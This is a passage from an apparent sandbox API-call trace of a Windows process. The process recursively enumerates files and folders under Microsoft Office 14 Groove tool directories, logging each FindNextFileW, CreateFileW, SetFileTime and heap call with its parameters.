lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6e92300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6e92300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZoomIconsMask.bmp", cAlternateFileName="")) returned 0 [0079.066] GetLastError () returned 0x12 [0079.066] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9180 [0079.066] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0079.066] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.066] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x140b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BriefcaseIcon.jpg", cAlternateFileName="")) returned 1 [0079.066] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf76, dwReserved0=0x0, dwReserved1=0x0, cFileName="BriefcaseIconMask.bmp", cAlternateFileName="")) returned 1 [0079.066] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x32cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CircleIcons.jpg", cAlternateFileName="")) returned 1 [0079.066] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x114c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CircleIconsMask.bmp", cAlternateFileName="")) returned 1 [0079.066] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x26ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="MeetingIcon.jpg", cAlternateFileName="")) returned 1 [0079.066] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MeetingIconMask.bmp", cAlternateFileName="")) returned 1 [0079.066] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x19e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectStatusIcons.jpg", cAlternateFileName="")) returned 1 [0079.067] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa10, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectStatusIconsMask.bmp", cAlternateFileName="")) returned 1 [0079.067] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x200e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectTaskIcon.jpg", cAlternateFileName="")) returned 1 [0079.067] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x79c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectTaskIconMask.bmp", cAlternateFileName="")) returned 1 [0079.067] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x538bb350, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectTool", cAlternateFileName="")) returned 1 [0079.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11db5e0 [0079.067] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x538bb350, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0079.071] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0079.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11dc790 [0079.071] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11dc790, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x11dc790, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0079.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dc790) returned 1 [0079.071] NtClose (Handle=0x170) returned 0x0 [0079.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11db5e0) returned 1 [0079.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11db5e0 [0079.072] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.072] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11db6e8 [0079.072] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9140 [0079.072] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x538bb350, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.072] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project Report Type", cAlternateFileName="")) returned 1 [0079.072] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project Report Type", cAlternateFileName="")) returned 0 [0079.072] GetLastError () returned 0x12 [0079.072] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9080 [0079.072] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0079.072] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x538bb350, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.072] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project Report Type", cAlternateFileName="")) returned 1 [0079.072] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11db7f0 [0079.073] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.073] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11db8f8 [0079.073] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0079.073] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0079.073] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11dc790 [0079.073] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11dc790, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x11dc790, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0079.074] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dc790) returned 1 [0079.074] NtClose (Handle=0x170) returned 0x0 [0079.074] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11db8f8) returned 1 [0079.074] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.074] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.074] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11db8f8 [0079.074] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.074] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dba00 [0079.074] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9140 [0079.074] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.074] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6073a7d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Basic", cAlternateFileName="")) returned 1 [0079.075] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fancy", cAlternateFileName="")) returned 1 [0079.075] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fancy", cAlternateFileName="")) returned 0 [0079.075] GetLastError () returned 0x12 [0079.075] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0079.075] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0079.075] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.075] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6073a7d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Basic", cAlternateFileName="")) returned 1 [0079.075] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dbb08 [0079.075] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.075] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0xa04ba8 [0079.075] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dbb08) returned 1 [0079.075] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x9d4970 [0079.075] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\basic"), fInfoLevelId=0x0, lpFileInformation=0x119e0b8 | out: lpFileInformation=0x119e0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6073a7d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\basic"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0079.076] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119e0fc, lpLastWriteTime=0x119e0fc) returned 0 [0079.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11dc790 [0079.077] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11dc790, nOutBufferSize=0x4000, lpBytesReturned=0x119e154, lpOverlapped=0x0 | out: lpOutBuffer=0x11dc790, lpBytesReturned=0x119e154, lpOverlapped=0x0) returned 0 [0079.077] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dc790) returned 1 [0079.077] NtClose (Handle=0x170) returned 0x0 [0079.077] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d4970) returned 1 [0079.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x9d4970 [0079.077] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x9d5470 [0079.078] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\*", fInfoLevelId=0x1, lpFindFileData=0x119df04, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119df04) returned 0x2e9140 [0079.078] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6073a7d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.079] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xced, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEFAULT.XSL", cAlternateFileName="")) returned 1 [0079.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.079] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.079] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0xacfdc0 [0079.080] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9100 [0079.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0xa2b5c8 [0079.080] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.080] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xced, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEFAULT.XSL", cAlternateFileName="")) returned 0 [0079.080] GetLastError () returned 0x12 [0079.080] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\*", fInfoLevelId=0x1, lpFindFileData=0x119df04, fSearchOp=0x0, 